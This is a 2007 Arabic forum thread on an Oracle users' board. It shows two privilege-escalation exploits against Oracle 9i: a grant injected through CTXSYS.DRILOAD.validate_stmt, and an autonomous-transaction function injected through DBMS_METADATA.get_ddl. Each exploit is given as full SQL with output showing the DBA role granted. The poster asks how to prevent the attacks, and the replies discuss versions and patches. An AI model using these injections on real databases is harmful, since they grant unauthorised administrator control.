بتاريخ: 11 فبراير 200719 سنة comment_91425 Indirect Privilege Escalation السلام عليكم ..........في الواقع لا اعلم هل هذا الموضوع مطروح من قبل أو لا عموما احببت ان اسرد هذا الموضوع لكي تعم الفائدة ولكي نجد الحل في التخلص منها .الموضوع هذا يطرح الطرق التي من خلالها يمكنك كمستخدم عادي في DATABASE لا تملك إلا القليل من الصلاحيات تستطيع الترقي إلى مستوى اعلى ولكن بشكل غير مباشر .وسوف أضع الملف الخاص بهذا الموضوع (ليس الان لأني ليس على جهازي) وفيه عدة طرق للحصول على امتياز DBA عموما نكتفي هنا بهذه الأمثلة : هنالك عدة طرق للحصول على الامتياز(DBA ): Exploiting built-in packages -(1)هذا المثال للتوضيح :Example(1)=================================Connect system/ system(password)Create user hacker identified by stealing;grant connect,resource to hacker;connect hacker/stealing1)-select * from user_role_privs;USERNAME GRANTED_ROLE ADM DEF OS_------------------------------ ------------------------------ --- --- ---HACKER CONNECT NO YES NOHACKER RESOURCE NO YES NO2)_exec ctxsys.driload.validate_stmt('grant dba to HACKER ');ERROR at line 1:ORA-06510: PL/SQL: unhandled user-defined exceptionORA-06512: at "CTXSYS.DRILOAD", line 42ORA-01003: no statement parsedORA-06512: at line 13)_select * from user_role_privs;USERNAME GRANTED_ROLE ADM DEF OS_------------------------------ ------------------------------ --- --- ---HACKER CONNECT NO YES NOHACKER DBA NO YES NOHACKER RESOURCE NO YES NOالطريقة الثانية :Exploiting DBMS_METADATA- (2) Example(2)=================================connect hacker/stealing select * from user_role_privs;USERNAME GRANTED_ROLE ADM DEF OS_------------------------------ ------------------------------ --- --- ---HACKER CONNECT NO YES NOHACKER RESOURCE NO YES NO1)-create or replace function hacker.hack return varchar2authid current_user ispragma autonomous_transaction;beginexecute immediate 'grant dba to hacker ';return '';end;/Function created.2)-SELECT SYS.DBMS_metadata.get_ddl ('''||hacker.hack()||''','') FROM DUAL;ERROR:ORA-31600: invalid input value '||scott.hack()||' for parameterOBJECT_TYPE in function GET_DDLORA-06512: at "SYS.DBMS_SYS_ERROR", line 105ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606ORA-06512: at "SYS.DBMS_METADATA", line 504ORA-06512: at "SYS.DBMS_METADATA", line 560ORA-06512: at "SYS.DBMS_METADATA", line 1221ORA-06512: at line 1no rows selected3)-select * from user_role_privs;USERNAME GRANTED_ROLE ADM DEF OS_------------------------------ ------------------------------ --- --- ---HACKER CONNECT NO YES NOHACKER DBA NO YES NOHACKER RESOURCE NO YES NO السؤال هنا كيف نمنع العمليات السابقة من الحدوث ؟؟؟؟؟؟؟؟؟؟؟الرجاء ممن لديه المعرفة الاجابة اتمنى ان يكون الموضوع قد اعجبكم ........................................... تقديم بلاغ
بتاريخ: 11 فبراير 200719 سنة comment_91431 اخوي ممكن تذك الاصدار الذي قمت بالتجربة عليه؟؟لاني سمعت انه كان في ثغرة باحد اصدارات ال 9i ولكن تمت الترقية بباتش بعد اسبوع فقط من اصدار النسخةارجو منك ان تذكر لنا اصدار الداتابيز الذي جربت عليه كل هذه الطرق تقديم بلاغ
بتاريخ: 11 فبراير 200719 سنة كاتب الموضوع comment_91450 شكر لك للتفاعل معي و الداتابيز هي لـ Oracle9i Release 9.2.0.1.0وارجو من الاخوان الي يشتغلون على الداتابيز 10g التجربة وكتابة النتيجة وهذا الملف الذي وعدتكم به (اتمنى ان تستفيدون منه)وهو يتكلم في الغالب عن 9i والثغرات التي لم اذكرها التي تستطيع من خلالها الترقي من مستخدم عادي إلى dba Oracle_20Security_20Masterclass.pdf تقديم بلاغ
بتاريخ: 11 فبراير 200719 سنة comment_91452 شكرا على الملفوفي الحقيقة بالنسبة للثغرات تتم معالجتها حال اكتشافها من خلال الميتالينك بتنزيل اخر الباتشاتيمكنك قراءة الموضوع التالي في المنتدى يتحدث عن احد اصدارات ال 10ghttp://www.araboug.org/ib/index.php?showtopic=18097 تقديم بلاغ
بتاريخ: 11 فبراير 200719 سنة كاتب الموضوع comment_91486 لوسمحت تضع الرابط للباتشات وماهي الأن datbase الخالية من هذه الثغرات تقديم بلاغ
بتاريخ: 13 فبراير 200719 سنة كاتب الموضوع comment_91618 ياشباب ممكن الموقع لتحميل الباتشات تقديم بلاغ
انضم إلى المناقشة
يمكنك المشاركة الآن والتسجيل لاحقاً. إذا كان لديك حساب, سجل دخولك الآن لتقوم بالمشاركة من خلال حسابك.